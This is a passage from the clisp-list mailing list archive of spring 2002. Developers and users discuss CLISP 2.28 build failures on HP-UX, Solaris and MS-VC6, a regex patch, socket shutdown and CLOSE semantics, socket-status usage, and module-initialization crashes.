  #<OUTPUT UNBUFFERED FILE-STREAM CHARACTER #P"/dev/null" @1>>
(close e :direction :input)
*** - (SYSTEM::BUILT-IN-STREAM-CLOSE :INPUT) on 
#<IO ECHO-STREAM #<INPUT UNBUFFERED FILE-STREAM CHARACTER #P"/dev/null" @1>
  #<OUTPUT UNBUFFERED FILE-STREAM CHARACTER #P"/dev/null" @1>> is illegal
(close 2w :direction :input)
==> T
2w
==> 
#<OUTPUT TWO-WAY-STREAM
  #<CLOSED UNBUFFERED FILE-STREAM CHARACTER #P"/dev/null" @1>
  #<OUTPUT UNBUFFERED FILE-STREAM CHARACTER #P"/dev/null" @1>>
i
==> #<CLOSED UNBUFFERED FILE-STREAM CHARACTER #P"/dev/null" @1>

thanks.
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Hi,

Sam Steingold wrote:
> > cc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> > -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce
> > -DUNICODE -c arihppa.s || /usr/ccs/bin/as arihppa.s -o arihppa.o ||
> > /bin/as arihppa.s -o arihppa.o
> > arihppa.s: Assembler messages:
> > arihppa.s:1: Error: Unknown pseudo-op:  `.shortdata'
> > arihppa.s:8: Error: The .ENTER pseudo-op is not supported
> > arihppa.s:30: Error: The .LEAVE pseudo-op is not supported
> > arihppa.s: Assembler messages:
> > arihppa.s:1: Error: Unknown pseudo-op:  `.shortdata'
> > arihppa.s:8: Internal error, aborting at targ-cpu.c line 4493
> > Please report this bug.


I would say, this is a problem of the assembler.
When calling cc -c bla.s, which assembler is called on your plattform?
whatever assembler it is, it just simply doesn't know the various
pseudo-ops .shortdata, .ENTER, .LEAVE...

maybe on HPPA, you should not use the binutils (GNU as) but the
assembler supplied by the vendor?? I am not a lawyer, however.

Wait a second...

I have waded through the GNU as - docu:
Have a look at: 
Using as ---> Pseudo Ops --> Machine Dependencies ---> HPPA-dependent
=====
`.enter'
     Not yet supported; the assembler rejects programs containing this
     directive.
======

GNU as and the binutils will not help you. You need the assembler that
is shipped with the system!

> > /bin/sh: /bin/as:  not found.

try 'which as' on your system... 
maybe it is in /usr/bin instead of /bin ?

if you find it, issue the command
<your_system_assembler> arihppa.s -o arihppa.o in your build-directory. 


I have had a look at the arihppa.s file. The comments are in German, I
haven't translated them, yet. The stuff is not compiler-generated. Bruno
has taken a few ideas from another project, as the comments state.
I would assume that the original asm-code was handwritten with the
features of the HPPA-assembler in mind, and not with the subset of
ops and directives that go through GNU-as correctly.

> > make: *** [arihppa.o] Error 127
> > artn@bs742>
> 
> I think this is a GCC problem, not a CLISP one.

I am not so sure about that. It depends on the point of view, I guess...
:-)

Bye,
Stefan


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> * In message <DFD875E85664D3118FA6080006277DE705216EF1@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] now you can use the regexp module on MS-Windows"
> * Sent on Wed, 27 Mar 2002 15:24:45 +0100
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> here's a tiny patch to make the regexp module usable with the MS-VC6
> compiler.

thanks!  this is really great news, worthy of a release!

> I believe some users of the win32 binary distribution would very much
> appreciate for this module to be included in the binary.

yes - I want to make the win32 binary distribution look just like a
UNIX binary distribution: with "base" and "full" dirs &c.

> I'd be thankful to the autoconf & Makefile experts could come up with
> a scheme to automate generating and including the module. It's trivial
> to do by hand, but possibly hard to fully automate. I appended the
> makefile parts that I used.

I think it is okay to have a separate hand-made win32 makefile, just
like with FFCALL.

> Since one of the patches is to regex.c, I don't know whether the
> original GNU maintainers would be interested by portability, or if
> some boycott applies.

are you sure this is necessary?  GNU Emacs does not have this special
casing and it does work on win32.
It might be an efficiency issue though.

> gdiff -c3 ../../orig/ regex.c
> *** ../../orig/regex.c	Wed Jul 22 22:22:47 1998
> --- regex.c	Fri Mar 22 15:58:38 2002
> ***************
> *** 211,218 ****
> --- 211,223 ----
>   #if HAVE_ALLOCA_H
>   #include <alloca.h>
>   #else /* not __GNUC__ or HAVE_ALLOCA_H */
> + #ifdef _MSC_VER /* Microsoft VC */
> + #include <malloc.h>
> + #define alloca _alloca
> + #else
>   #ifndef _AIX /* Already did AIX, up at the top.  */
>   char *alloca ();
> + #endif /* not MS-VC */
>   #endif /* not _AIX */
>   #endif /* not HAVE_ALLOCA_H */ 
>   #endif /* not __GNUC__ */

do I understand correctly that without this the MS regexp would use
malloc/free instead of alloca?
I would rather not fork a separate CLISP version of this file.
Emacs & glibc's versions of regex.c have diverged over the years and
RMS recently declared that he wants them to merge (volunteers?)
neither version has your MS code - so I will have to get it into the
Emacs CVS tree ASAP, thus I need a justification for the change.

> gdiff -c3 ../../orig/ regexi.c
> *** ../../orig/regexi.c	Wed Jul 22 22:22:50 1998
> --- regexi.c	Fri Mar 22 15:28:22 2002
> ***************
> *** 2,10 ****
>   /* Bruno Haible 14.4.1995 */
>   
>   #include <sys/types.h> /* regex.h needs this */
>   #include "regex.h"
>   
> - #include <stdlib.h> /* declare malloc(), free() */
>   
>   int mregcomp (ppreg,pattern,cflags)
>     regex_t* * ppreg;
> --- 2,10 ----
>   /* Bruno Haible 14.4.1995 */
>   
>   #include <sys/types.h> /* regex.h needs this */
> + #include <stdlib.h> /* declare malloc(), free() */
>   #include "regex.h"
>   
>   
>   int mregcomp (ppreg,pattern,cflags)
>     regex_t* * ppreg;
>

is this necessary?
weird - it works on other platforms this way...

> ++++++++++++++ hand-written modules/regexp/makefile for MSVC6

thanks.

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Hello Sam,

Sunday, March 31, 2002, 11:28:44 AM, you wrote:

Sam> please try this:
...
Works exactly same, just need /nul instead of /dev/null on
win32.

Msvc makefiles needs to be regenerated in cvs tree. It refers
dirkey.lisp.

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Sam Steingold <sds@gnu.org> writes:

> Todd (?) asked for shutdown(2) for sockets.
> 
> I want to add a keyword arg :DIRECTION to CLOSE.
> then
>         (close 2way-stream :direction :in)
> is the same as
>         (close (two-way-input-stream 2way-stream))
> and
>         (close socket :direction in)
> is the same as
>         shutdown(handle(socket),SHUT_RD);
> 
> do people like the interface?
> 
> I don't think this breaks ANSI "too much".  in CLISP the "official
> signature" of the generic function CLOSE is already (stream &rest args).

Well, I'm not much of a ANSI CL language lawyer, but this seems to be
nonconformant.  The Hyperspec page for close says that close on a
composite stream should have no effect on the constituent streams.
Therefore, I'd expect that (close 2w :direction :input) would just
make 2w unusable for input, but not affect the stream
(two-way-stream-input-stream 2w).

BTW, an orthogonal issue is that the CLOSE page also contains this
example, which fails in clisp:

 (setq s (make-broadcast-stream)) =>  #<BROADCAST-STREAM>
 (close s) =>  T
 (output-stream-p s) =>  true

clisp returns NIL for the final form.


Todd


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On Fri, Mar 29, 2002 at 08:19:19PM -0500, Todd Sabin wrote:

> clg-0.51 uses def-c-call-in, and I've gotten it to build (required
> some patches) and run ok with clisp-2.27, including callbacks.  Have
> you tried def-c-call-in?  Your example code with def-call-in didn't
> specify a language; maybe the default isn't what you expect?  (Don't
> really know, just guessing...)
> 
> 
> Todd
> 

Hi, I'm beginning to think this may be a linux issue.  What OS were
you using?

Regards,
Peter


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>
> gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libavcall.a
> ./minitests > minitests.out
> uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20
> test '!' -s minitests.output.hppa2.0-hp-hpux10.20
> make: *** [check] Error 1

this should be fixed in the CVS.


Thanks for the information.

How do I apply the CVS? Which files do I need to fix this? 

If I try to show files with a certain tag I get this error:

Python Exception Occurred

Traceback (innermost last):
  File "/usr/local/viewcvs-0.8/lib/viewcvs.py", line 2599, in run_cgi
    main()
  File "/usr/local/viewcvs-0.8/lib/viewcvs.py", line 2554, in main
    view_directory(request)
  File "/usr/local/viewcvs-0.8/lib/viewcvs.py", line 1118, in view_directory
    fileinfo, alltags = get_logs(full_name, rcs_files, view_tag)
  File "/usr/local/viewcvs-0.8/lib/viewcvs.py", line 1074, in get_logs
    raise 'error during rlog: '+hex(status)
error during rlog: 0x100




Thanks,



Art Nuzzo

a.nuzzo@motorola.com


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> * In message <CF5B20DBDE16D4119B9800D0B73E984806453A25@il02exm25.comm.mot.com>
> * On the subject of "FW: [clisp-list] Problem compiling Clisp 2.28 on HP"
> * Sent on Mon, 1 Apr 2002 08:49:03 -0600
> * Honorable Nuzzo Art-CINT116 <A.Nuzzo@motorola.com> writes:
>
> >
> > gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libavcall.a
> > ./minitests > minitests.out
> > uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20
> > test '!' -s minitests.output.hppa2.0-hp-hpux10.20
> > make: *** [check] Error 1
> 
> this should be fixed in the CVS.
> 
> How do I apply the CVS? Which files do I need to fix this? 


<http://sourceforge.net/cvs/?group_id=1355>

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Hello,

I've just started using clisp on Windows, and I'm getting warning
messages about packages being locked all the time. I've just joined
the mailing list so sorry if this is a very FAQ:

This is an example:

------------------------------
[1]> (defun hei (x)

** - Continuable Error
INTERN("HEI"): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1. Break [2]> continue

** - Continuable Error
INTERN("X"): #<PACKAGE EXT> is locked
If you continue (by typing 'continue'): Ignore the lock and proceed
1. Break [3]> (bye)

Bye.
[~]$
------------------------------

I get the same when trying to eval/compile a form from emacs with the
ILISP-package, having clisp as the inferior Lisp. On Linux this all
works fine. I get the errors on Windows 2000. I downloaded a binary
distribution of clisp-2.28, didn't succeed in compiling from source.

Is there an easy fix for this? Something to do with the file system in
Windows perhaps?

-Robert



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I'm sending this before I see the my mail appearing, to cancel
it. Sorry that it won't appear in the thread of my first mail.

I re-installed clisp-2.28 on Windows 2000 using the install.bat
script, and now things work fine. The first time round I didn't see
install.bat, but followed the instructions in the README-file.

-Robert



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On Saturday 30 Mar 2002 7:12 pm, A. Nuzzo wrote:
> I am having a problem compiling Clisp 2.28 on my HP 10.20 system. First
> when I
> do the configure I get the following error:

I've been looking at clisp on linux hppa and avcall-hppa.s does not assemble 
with modern GNU tools. Try recreating avcall-hppa.s from the C code:

make -f Makefile.devel avcall-hppa.s

Notice that this does bizarre things i.e. it uses sed to replace a constant 
in an extremely unsafe way and for no reason I can understand.

That might be enough. It's not enough on Linux - the avcall stuff is 
completely broken on linux hppa so I am rewriting it. If you have other 
problems getting avcall to pass tests etc. I would be interested to hear.


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okay - it appears that people did not like my clever CLOSE extension.
fine.  you will get SOCKET-STREAM-SHUTDOWN instead.

how do I tell whether the socket has been shut down in one direction
already?   this is crucial since otherwise there will be random
crashes (SIGPIPE) when trying to use the socket incorrectly.

> * In message <m3pu1kiizt.fsf@jetcar.qnz.org>
> * On the subject of "Re: [clisp-list] shutdown(2) & sockets"
> * Sent on 31 Mar 2002 15:23:50 -0500
> * Honorable Todd Sabin <tsabin@optonline.net> writes:
>
> BTW, an orthogonal issue is that the CLOSE page also contains this
> example, which fails in clisp:
> 
>  (setq s (make-broadcast-stream)) =>  #<BROADCAST-STREAM>
>  (close s) =>  T
>  (output-stream-p s) =>  true
> 
> clisp returns NIL for the final form.

as does CMUCL.

I just fixed this.

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hello, i'm trying to write a server in clisp but I can't work out how to
pass
a list of sockets to socket-status.
this is the error i get:

(setq server (socket-server 8888))
=> #<SOCKET-SERVER 0.0.0.0:8888>
(setq client (socket-accept server))
=> #<IO UNBUFFERED SOCKET-STREAM CHARACTER 0.0.0.0:8888>
(socket-status server 0)
=> NIL
(socket-status client 0)
=> :OUTPUT
(socket-status '(server (client . :io)))
=> *** - SOCKET-STATUS: argument SERVER should be a stream

I looked in src/stream.d and at line 14996 i found:
  var bool many_sockets_p =
    (consp(all) && !(symbolp(Cdr(all)) && keywordp(Cdr(all))));
this looks to me like it be
    (consp(all) && !(symbolp(Car(all)) && keywordp(Cdr(all))));
but I couldn't find any clues as to why a list wouldn't work.

I'm using clisp-2.28 and get the same error on linux and win32(98 & 2000).

- jan




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Hello Sam,

Tuesday, April 02, 2002, 7:23:36 AM, you wrote:

Sam> okay - it appears that people did not like my clever CLOSE extension.
Sam> fine.  you will get SOCKET-STREAM-SHUTDOWN instead.

I like it. It's like that it cannot (syntactically) break conformant code,
right ? It can be abstracted to two way streams, not only on sockets.
But we need :direction option in open-stream-p too. As for
{input|output}-stream-p - I vote not to change it after close
(I think of it as of types).



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	Note: I am resending this. It looks like my mail server must have
dropped the ball on this one since
	it never made it to the mailing list.  Please disregard it if it
shows up at some point. - Art



> I am getting closer but not there yet.
> 
> 
> >> gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libavcall.a
> >> ./minitests > minitests.out
> >> uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20
> >> test '!' -s minitests.output.hppa2.0-hp-hpux10.20
> >> make: *** [check] Error 1
> >
> >this should be fixed in the CVS.
> 
> Getting the CVS fixed this problem.
> 
> 
> 
> 
> >> > cc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> >> > -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce
> >> > -DUNICODE -c arihppa.s || /usr/ccs/bin/as arihppa.s -o arihppa.o ||
> >> > /bin/as arihppa.s -o arihppa.o
> >> > arihppa.s: Assembler messages:
> >> > arihppa.s:1: Error: Unknown pseudo-op:  `.shortdata'
> >> > arihppa.s:8: Error: The .ENTER pseudo-op is not supported
> >> > arihppa.s:30: Error: The .LEAVE pseudo-op is not supported
> >> > arihppa.s: Assembler messages:
> >> > arihppa.s:1: Error: Unknown pseudo-op:  `.shortdata'
> >> > arihppa.s:8: Internal error, aborting at targ-cpu.c line 4493
> >> > Please report this bug.
> >
> >
> >
> >GNU as and the binutils will not help you. You need the assembler that
> >is shipped with the system!
> 
> 
> Switching to the HP assembler fixed this problem.
> 
> It now continues until it reaches the point where it runs lisp.run and
> then
> core dumps.
> 
> 
> gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
> -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce -DUNICODE
> -DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o
> control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o
> list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o
> time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o arihppa.o
> gmalloc.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a
> libavcall.a libcallback.a  -ltermcap   -o lisp.run
> sync
> ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load
> \"init.lisp\") (sys::%saveinitmem) (exit)"
> /bin/sh: 14998 Memory fault(coredump)
> make: *** [interpreted.mem] Error 139
> 
> 
> 
> Any ideas what I am overlooking?
> 
> Thanks for help,
> 
> 
> 
> Art Nuzzo
> 
> 
> a.nuzzo@motorola.com
> 
> 


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Guys,

I'm trying to compile clisp 2.28 under Solaris 2.7.  As you can see, the
configure script fails after performing one of the minitests.

Here is the output of ``gcc -v'':

	Reading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.7/3.0.3/specs
	Configured with: ../configure --with-as=/usr/local/bin/as --with-ld=/usr/local/bin/ld
	Thread model: posix
	gcc version 3.0.3

Here is ``uname -a'':

	SunOS sol 5.7 Generic_106541-19 sun4m sparc SUNW,SPARCstation-10

What follows is the last 25 lines of the configure script output.  I
have placed an entire transscript at:

	http://www.ayan.net/clisp/configure.txt

Thanks in advanced.

/bin/sh ./libtool --mode=link gcc -o libcallback.la -rpath /usr/local/lib vacall_r/vacall.lo vacall_r/misc.lo vacall_r/structcpy.lo trampoline_r/*.lo
mkdir .libs
rm -fr .libs/libcallback.la .libs/libcallback.* .libs/libcallback.*
ar cru .libs/libcallback.a  vacall_r/vacall.o vacall_r/misc.o vacall_r/structcpy.o trampoline_r/cache-sparc.o trampoline_r/trampoline.o 
ranlib .libs/libcallback.a
creating libcallback.la
(cd .libs && rm -f libcallback.la && ln -s ../libcallback.la libcallback.la)
gcc -g -O2 -I. -I../../ffcall/avcall -S ../../ffcall/avcall/minitests.c
gcc -g -O2 -I. -I../../ffcall/avcall -c ../../ffcall/avcall/minitests.c
/bin/sh ./libtool --mode=link gcc -g -O2 -x none minitests.o libavcall.la -o minitests
gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libavcall.a
./minitests > minitests.out
uniq -u < minitests.out > minitests.output.sparc-sun-solaris2.7
test '!' -s minitests.output.sparc-sun-solaris2.7
*** Error code 1
make: Fatal error: Command failed for target `check'

To continue building CLISP, the following commands are recommended
(cf. unix/INSTALL step 4):
    cd sol-build
    ./makemake  --with-readline --with-gettext > Makefile
    make config.lisp
    vi config.lisp
    make
    make check
root@sol:/usr/local/source_builds/clisp-2.28#  



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There already appears to be a related thread.

Please ignore.

-Ayan

On Tue, 2 Apr 2002, Ayan George wrote:

> 
> Guys,
> 
> I'm trying to compile clisp 2.28 under Solaris 2.7.  As you can see, the
> configure script fails after performing one of the minitests.
> 
> Here is the output of ``gcc -v'':
> 
> 	Reading specs from /usr/local/lib/gcc-lib/sparc-sun-solaris2.7/3.0.3/specs
> 	Configured with: ../configure --with-as=/usr/local/bin/as --with-ld=/usr/local/bin/ld
> 	Thread model: posix
> 	gcc version 3.0.3
> 
> Here is ``uname -a'':
> 
> 	SunOS sol 5.7 Generic_106541-19 sun4m sparc SUNW,SPARCstation-10
> 
> What follows is the last 25 lines of the configure script output.  I
> have placed an entire transscript at:
> 
> 	http://www.ayan.net/clisp/configure.txt
> 
> Thanks in advanced.
> 
> /bin/sh ./libtool --mode=link gcc -o libcallback.la -rpath /usr/local/lib vacall_r/vacall.lo vacall_r/misc.lo vacall_r/structcpy.lo trampoline_r/*.lo
> mkdir .libs
> rm -fr .libs/libcallback.la .libs/libcallback.* .libs/libcallback.*
> ar cru .libs/libcallback.a  vacall_r/vacall.o vacall_r/misc.o vacall_r/structcpy.o trampoline_r/cache-sparc.o trampoline_r/trampoline.o 
> ranlib .libs/libcallback.a
> creating libcallback.la
> (cd .libs && rm -f libcallback.la && ln -s ../libcallback.la libcallback.la)
> gcc -g -O2 -I. -I../../ffcall/avcall -S ../../ffcall/avcall/minitests.c
> gcc -g -O2 -I. -I../../ffcall/avcall -c ../../ffcall/avcall/minitests.c
> /bin/sh ./libtool --mode=link gcc -g -O2 -x none minitests.o libavcall.la -o minitests
> gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libavcall.a
> ./minitests > minitests.out
> uniq -u < minitests.out > minitests.output.sparc-sun-solaris2.7
> test '!' -s minitests.output.sparc-sun-solaris2.7
> *** Error code 1
> make: Fatal error: Command failed for target `check'
> 
> To continue building CLISP, the following commands are recommended
> (cf. unix/INSTALL step 4):
>     cd sol-build
>     ./makemake  --with-readline --with-gettext > Makefile
>     make config.lisp
>     vi config.lisp
>     make
>     make check
> root@sol:/usr/local/source_builds/clisp-2.28#  
> 
> 
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> * In message <001101c1dad1$dc7a30e0$179986cb@abe>
> * On the subject of "[clisp-list] socket-status question"
> * Sent on Tue, 2 Apr 2002 21:39:00 -0800
> * Honorable "Jan Marecek" <janmar@iprimus.com.au> writes:
>
> (socket-status '(server (client . :io)))
> => *** - SOCKET-STATUS: argument SERVER should be a stream

try
(socket-status (list server (cons client :io)))
and think about evaluating and quoting

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> 
> > > It now continues until it reaches the point where it runs 
> lisp.run and
> > > then
> > > core dumps.
> 
> Please set the environment variable CC to "cc -g" or "gcc -g"
> respectively.
> You might probably also want to set an option that causes the compiler
> to issue more warning-messages ( -Wall for gcc,  -W (???) for cc))
> 
> Delete the build-directory and configure again, e.g.:
> ./configure compile-with-g
> 
> Make sure that a core file can be reproduced (ulimit and friends
> according to shell)
> (core-file-size of 0 might be counter-productive :-)
> 
> then follow the instructions printed out at the end of configuration.
> 
> The dump should occur again, now use the debugger (dbx, gdb) 
> to extract
> the
> stack trace.
> 
> (I don't know the specific command for dbx,
> in gdb you just have to load the core file into the debugger and issue
> the
> command "where" if I recall correctly.)
> 
> We might then have a chance to find, where the problem is.
> 
> 

It's unfortunate but it looks like I don't have a debugger on this system.
So before
I take that step let me ask this question:

I used to be able to compile Clisp on HP. This was some time ago and
probably a million things have changed, including the hardware, but I seem
to to remember something about the LANG variable or NLS_LANG variable being
an issue and I had to either set it or unset it to get it to compile. 

Does this ring a bell with anyone?


(It's too bad I don't have a Linux system here at work. I can compile Clisp,
and just about about any other program, on Linux at home without problems.)


Thanks for any information,


Art Nuzzo


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Hi,

Nuzzo Art-CINT116 wrote:
> > >GNU as and the binutils will not help you. You need the assembler that
> > >is shipped with the system!
> >
> >
> > Switching to the HP assembler fixed this problem.

Great!

> > It now continues until it reaches the point where it runs lisp.run and
> > then
> > core dumps.

Please set the environment variable CC to "cc -g" or "gcc -g"
respectively.
You might probably also want to set an option that causes the compiler
to issue more warning-messages ( -Wall for gcc,  -W (???) for cc))

Delete the build-directory and configure again, e.g.:
./configure compile-with-g

Make sure that a core file can be reproduced (ulimit and friends
according to shell)
(core-file-size of 0 might be counter-productive :-)

then follow the instructions printed out at the end of configuration.

The dump should occur again, now use the debugger (dbx, gdb) to extract
the
stack trace.

(I don't know the specific command for dbx,
in gdb you just have to load the core file into the debugger and issue
the
command "where" if I recall correctly.)

We might then have a chance to find, where the problem is.



Bye,
Stefan


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I am getting closer but not there yet.


>> gcc -g -O2 -x none minitests.o -o minitests  ./.libs/libavcall.a
>> ./minitests > minitests.out
>> uniq -u < minitests.out > minitests.output.hppa2.0-hp-hpux10.20
>> test '!' -s minitests.output.hppa2.0-hp-hpux10.20
>> make: *** [check] Error 1
>
>this should be fixed in the CVS.

Getting the CVS fixed this problem.




>> > cc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
>> > -fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce
>> > -DUNICODE -c arihppa.s || /usr/ccs/bin/as arihppa.s -o arihppa.o ||
>> > /bin/as arihppa.s -o arihppa.o
>> > arihppa.s: Assembler messages:
>> > arihppa.s:1: Error: Unknown pseudo-op:  `.shortdata'
>> > arihppa.s:8: Error: The .ENTER pseudo-op is not supported
>> > arihppa.s:30: Error: The .LEAVE pseudo-op is not supported
>> > arihppa.s: Assembler messages:
>> > arihppa.s:1: Error: Unknown pseudo-op:  `.shortdata'
>> > arihppa.s:8: Internal error, aborting at targ-cpu.c line 4493
>> > Please report this bug.
>
>
>
>GNU as and the binutils will not help you. You need the assembler that
>is shipped with the system!


Switching to the HP assembler fixed this problem.

It now continues until it reaches the point where it runs lisp.run and then
core dumps.


gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type
-fomit-frame-pointer -Wno-sign-compare -O2 -fno-strength-reduce -DUNICODE
-DDYNAMIC_FFI -x none spvw.o spvwtabf.o spvwtabs.o spvwtabo.o eval.o
control.o encoding.o pathname.o stream.o socket.o io.o array.o hashtabl.o
list.o package.o record.o sequence.o charstrg.o debug.o error.o misc.o
time.o predtype.o symbol.o lisparit.o i18n.o foreign.o unixaux.o arihppa.o
gmalloc.o modules.o libsigsegv.a libintl.a libiconv.a libreadline.a
libavcall.a libcallback.a  -ltermcap   -o lisp.run
sync
./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load
\"init.lisp\") (sys::%saveinitmem) (exit)"
/bin/sh: 14998 Memory fault(coredump)
make: *** [interpreted.mem] Error 139



Any ideas what I am overlooking?

Thanks for help,



Art Nuzzo


a.nuzzo@motorola.com




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On Tuesday 02 Apr 2002 4:17 am, Nuzzo Art-CINT116 wrote:

> ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load
> \"init.lisp\") (sys::%saveinitmem) (exit)"
> /bin/sh: 14998 Memory fault(coredump)
> make: *** [interpreted.mem] Error 139

Would it be possible to get a backtrace of this?

With gdb:

% gdb ./lisp.run
>> run
>> backtrace

There is a similar crash with Sparc, and also with m68k so it would be 
intersting to see if they are related.

Thanks.


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I have made a first pass at getting cparse running on clisp.  Cparse is
Tim Moore's program that
parses c headers, and generates cmucl and now clisp lisp code to call
the c functions.
I would appreciate any testing that could be done with this on clisp, I
have used it to parse
windows.h, the cygwin windows header file.
Dan Stanger



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Peter,

> Has anyone tried it?
I can confirm the core dump using MS-VC6 on 2.28.
(new)lisp.run -M (old)lispinit.mem crashes.
(new)lisp.run crashes.

I obtain -- quite similar, although Solaris/Sparc is very different from Intel:
*** - The value of *TERMINAL-IO* was not a stream: #<CLOSED TERMINAL-STREAM>. It has been changed to #<IO TERMINAL-STREAM>.
*** - handle_fault error2 ! address = 0xFFFFFFF8 not in [0x6690C860,0x66930000) ! SIGSEGV cannot be cured. Fault address = 0xFFFFFFF8.
The instruction at 0x0041955e points to 0xfffffff8. Could not read from that address.


Peter Wood wrote:
> I get the same result with 2.27, both with my module, and the test
> described earlier: the *terminal-io* message followed by a segfault:
> 
> *** - The value of *TERMINAL-IO* was not a stream: #<CLOSED 
> TERMINAL-STREAM>. It has been changed to #<IO TERMINAL-STREAM>.
> *** - handle_fault error2 ! address = 0xFFFFFFF8 not in 
> [0x68084260,0x680A5000) !
> SIGSEGV cannot be cured. Fault address = 0xFFFFFFF8.
> /usr/bin/clisp-link: line 2: 18450 Segmentation fault      
> (core dumped) "$@"


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Hi,

could somebody please confirm the following on a different platform? =
CLISP-2.27 (win32 binary distribution) would not crash while my own =
MS-VC6-compiled CLISP-2.28 dies:

...\src\clisp-2.28\src>lisp.exe -B .
; lisp.run on UNIX
  i i i i i i i       ooooo    o        ooooooo   ooooo   ooooo
  I I I I I I I      8     8   8           8     8     o  8    8
  I  \ `+' /  I      8         8           8     8        8    8
   \  `-+-'  /       8         8           8      ooooo   8oooo
    `-__|__-'        8         8           8           8  8
        |            8     o   8           8     o     8  8
  ------+------       ooooo    8oooooo  ooo8ooo   ooooo   8

Copyright (c) Bruno Haible, Michael Stoll 1992, 1993
Copyright (c) Bruno Haible, Marcus Daniels 1994-1997
Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998
Copyright (c) Bruno Haible, Sam Steingold 1999-2002

WARNING: No initialization file specified.
Please try: lisp.exe -M lispinit.mem

> (load "macros2.fas")
; or any .fas
*** - COMMON-LISP:FUNCALL: the function REMOVE-OLD-DEFINITIONS is =
undefined
; normal error when starting without -M
1. Break> ^Z
; or ^D on UNIX
[error.d:304] cannot handle the fatal error due to a fatal error in the =
fatal error handler!
Unknown software exception 0xc0000094 at 0x004f0534
...\src\clisp-2.28\src>

I'm investigating Peter's DEF-CALL-IN crash report...

Thanks,
	J=F6rg H=F6hle.


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> 
> 
> On Tuesday 02 Apr 2002 4:17 am, Nuzzo Art-CINT116 wrote:
> 
> > ./lisp.run -B . -N locale -Efile UTF-8 -norc -m 750KW -x "(load
> > \"init.lisp\") (sys::%saveinitmem) (exit)"
> > /bin/sh: 14998 Memory fault(coredump)
> > make: *** [interpreted.mem] Error 139
> 
> Would it be possible to get a backtrace of this?
> 
> With gdb:
> 
> % gdb ./lisp.run
> >> run
> >> backtrace
> 
> There is a similar crash with Sparc, and also with m68k so it 
> would be 
> intersting to see if they are related.
> 

Sure, no problem. I had to install gdb first.  I haven't really used a
debugger much so you might need to help me here. Here is what I get when I
ran the debugger command:

artn@bs742> gdb ./lisp.run
GNU gdb 5.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa2.0-hp-hpux10.20"...(no debugging symbols
found)...
(no debugging symbols found)...Breakpoint 1 at 0x14c09c
Breakpoint 2 at 0x148dcc
Breakpoint 3 at 0x13d310
Num Type           Disp Enb Address    What
1   breakpoint     keep n   0x0014c09c <funcall+20>
        zout fun
2   breakpoint     keep n   0x00148dcc <eval+8>
        zout form
3   breakpoint     keep n   0x0013d310 <gar_col+16>
.gdbinit:37: Error in sourced command file:
Function "sigsegv_handler_failed" not defined.
(gdb) run 
Starting program: /tmp_mnt/users/artn/clisp-2.28-CVS/src/lisp.run -B . -M
lispinit.mem -q -norc



Now it will just hang there.  I'm not sure if it is from lisp.run or I did
something wrong when I compiled gdb or it is waiting for me to do something.


Thanks for any help.


Art 




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Hi,

DEF-CALL-IN is not at fault (cf. Peter Wood's bug report). It's the object initialization of modules which has a bug.

A work-around is not to use an unknown package. Unknown means one which is not yet known in the .mem file that is being initialized from.

Thus, 2 possible work-around paths:
1. generate a new .mem, using
(defpackage "TESTCI" (:use "FFI" "LISP"))
(saveinitmem)
then
lisp.exe -M foo.mem
(load "alpha.lisp")

2. use lispinit.mem from the distribution, but don't use unknown packages. Put interface symbols in package USER or wherever.
That's probably why people reported that clg (whatever that is) could still be built while Peter Wood's example failed.


The failure to handle unknown packages is strange since I can remember something about this issue when module functionality was added to CLISP around seven years ago.
I haven't looked at the spvw*.d etc. CLISP code yet.

BTW, if you look at the generated alpha.c file you could try:
#if 0
  { "TESTCI::DECIDER" },
#else
  { "DECIDER" },
#endif

Regards,
	Jorg Hohle.


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> * In message <DFD875E85664D3118FA6080006277DE70559FC0B@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] fatal error in fatal error handler"
> * Sent on Wed, 3 Apr 2002 17:00:16 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> could somebody please confirm the following on a different platform?
> CLISP-2.27 (win32 binary distribution) would not crash while my own
> MS-VC6-compiled CLISP-2.28 dies:

[could you please break your long lines?  -- thanks]

> ...\src\clisp-2.28\src>lisp.exe -B .

you are not supposed to run lisp.exe without the memory image.
if you do, you cannot expect CLISP to work properly, if at all.

> 1. Break> ^Z
> ; or ^D on UNIX
